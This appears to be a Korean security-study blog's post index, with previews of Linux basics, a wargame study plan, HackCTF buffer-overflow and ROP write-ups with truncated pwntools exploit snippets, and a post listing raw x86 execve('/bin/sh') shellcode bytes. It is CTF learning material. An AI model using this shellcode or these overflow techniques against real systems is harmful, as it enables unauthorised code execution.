분류 전체보기
리눅스 기초 명령어-파일, 디렉터리
파일의 종류 리눅스는 "/"(root)를 기준으로 그 하위 디렉터리에 usr, var, bin 등의 디렉터리가 있고, 또 그 아래에 다양한 디렉터리들과 파일들이 존재하는 트리 형태의 계층 구조를 가진다. 일반 파일 (ordinary file) 데이터를 가지며 디스크에 저장되는 파일이다. ▷ 텍스트파일, 이진 파일(binary file) 디렉터리 (directory file) 파일들을 계층적으로 조직화하여 사용하는 일종의 특수 파일로, 윈도우에서의 폴더 개념으로 생각하면 된다. 디렉터리 내에 여러 파일이과 서브(하위) 디렉터리들이 존재한다. ▷ ~(홈디렉터리), .(현재 디렉터리), ..(상위 디렉터리) 장치 파일 (device special file) 시스템에 설치된 여러 하드웨어 장치를 파일화 한 것이..
2021_21.5기_시스템_계획(2-3월)
주차 과제 1주차(2/8~14) * VMware Workstation pro 15 설치 * Ubuntu 16.04 LTS 설치 * LOB 설치 * Xshell 설치 - 리눅스 기초 명령어 공부 (3강, 4강 중 아래 블로그 링크에 올라온 명령어,개념만) (강의록 8강 중 8.3까지) (11강 p.6, p.18-24, p.31~) - bandit level 0→5 (bandit에 힌트로 나오는 command 중 모르는 명령어는 꼭 추가정리!) 2주차(2/15~2/21) - 리눅스 기초 명령어 공부 (9강 p.9-18) (5강 5.3~) - bandit level 5→10 (bandit에 힌트로 나오는 command 중 모르는 명령어는 꼭 추가정리!) - 달고나 문서 4장까지 정리 3주차(2/22~2/28)..
[HackCTF] x64 Buffer Overflow
check - 64bit - NX만 설정되어 있음 >> 단순한 return address 변조로 풀 수 있을 것! Analyze pseudo code - 스택 버퍼로 s를 만들고 ebp로부터 0x110byte 떨어진 곳에 위치한다. 그리고 scanf 함수를 통해 입력받는다. 이 때 입력받는 크기를 특정하지않기 때문에 Buffer Overflow가 발생할 수 있다. - 변수 v5에는 문자열 s의 길이가 저장된다. - 수상한 함수인 callMeMaybe.. - 이 함수를 RET 값으로 주면 execve("/bin/bash")가 실행되어 쉘을 딸 수 있을 것 같다. Exploit from pwn import * p=remote("ctf.j0n9hyun.xyz", 3004) pl="A"*(0x110) pl+="..
[LOB] orc → wolfman
$ bash2 $ ulimit -c unlimited $ mkdir tmp $ cd wolfman tmp/wolfman Analyze source code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 /* The Lord of the BOF : The Fellowship of the BOF - wolfman - egghunter + buffer hunter */ #include #include extern char **environ; main(int argc, char *argv[]) { char buffer[40]; int i; if(argc > BUF[40]+SFP..
[HackCTF] 내 버퍼가 흘러넘친다!!! (prob1)
check - 32bit - NX 적용 X Analyze pseudo code - 간단하게 main 함수에서 해결할 수 있는 문제이다 - name 변수는 IDA를 통해 확인하니 bss 영역에 저장되어있다. name은 전역변수(public)으로 선언되어 따로 초기화되어있지는 않은 값으로 bss 영역에 저장되어 있다. >> bss영역과 데이터 영역의 차이는 shinluckyarchive.tistory.com/159 이 블로그에서 잘 설명해주셨다! - read 함수를 이용해 name 변수의 위치(bss영역)에 쉘코드를 저장하고 gets 함수에서의 값을 입력받으면서 쉘 코드를 저장한 영역을 리턴주소로 덮어쓰면서 쉘 코드를 실행시키도록 할 수 있을 것 같다! Exploit from pwn import * #p =..
[HackCTF] offset
check - 32bit - Full RELRO - PIE Analyze Pseudo Code (IDA) - select_func 함수에서 src는 main함수에서 s를 받는다. - select_func에서 strncpy함수를 이용하여 dest에 src의 내용을 0x1F(31byte)만큼 복사한다. - one, two 함수는 단순하게 문자열을 출력하는 함수이다. - select_func에서는 포인터 v3에 함수 two를 리턴했다. select_func이 종료될 때 v3이 리턴된다. 즉, v3이 가리키는 함수가 리턴되므로 이 값을 조작하면 원하는 함수를 리턴할 수 있을 것 같다. - 그리고 dest와 v3 사이의 거리는 0x2A-0xC (=42-12) = 30byte이다. 따라서, src에서 dest로 복..
[HackCTF] basic_bof2
checksec - 32bit - Partial RELRO Analyze pseudo code - 스택 버퍼에 문자열 s에 fgets 함수를 이용해 133byte만큼 표준입력을 통해 입력받도록 한다. 하지만 이 때는 133
[HackCTF] ROP
checksec - 32bit - No Canary - NX +) 라이브러리 파일(libc.so.6)이 따로 있으므로 이 점 주의 Analyze pseudo code vulnerable_function 함수에서 buf를 0x88byte만큼 할당하고 read함수를 통해 0x100 byte 읽으면서 stack buffer overflow가 발생한다. write함수의 plt와 got 값을 이용해 libc를 leak하도록 한다 >> 가젯을 찾아야한다. gadgets read함수와 write함수 모두 인자를 3개씩 가지는 함수이므로 pppr 가젯을 찾아야한다. pop esi ; pop edi ; pop ebp ; ret ; 가젯 주소 = 0x8048509 pop ebp ; ret ; 가젯 주소 = 0x804850..
[CTFd] CTFd 를 이용해서 CTF 사이트 만들기 -docker, docker compsoe 설치
CTFd CTF 사이트를 제작할 수 있는 오픈 소스 프레임워크! 설치를 위해서는 ▷ 최소: dual core CPU + 1 GB RAM ▶ 권장: quad core CPU + 2GB RAM 내 기본환경: ubuntu 16.04 on VMwareWorkstation 1. docker 설치 docs.docker.com/get-docker/ Get Docker docs.docker.com 이 사이트에서 자신의 환경에 맞는 docker를 선택하면 된다. 이 중 Linux > Server 중 Ubuntu 를 선택했다. - docker 오래된 버전 제거하기 $ sudo apt-get remove docker docker-engine docker.io containerd runc 이후 docker를 설치하는 방법이 ..
유용한 쉘 코드들
\x31\xc0\xb0\x31\xcd\x80\x89\xc1\x89\xc3\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\ x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80 △ 41 byte 짜리 쉘 코드 \xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81 △ "\x2f"가 없는 쉘 코드 (47..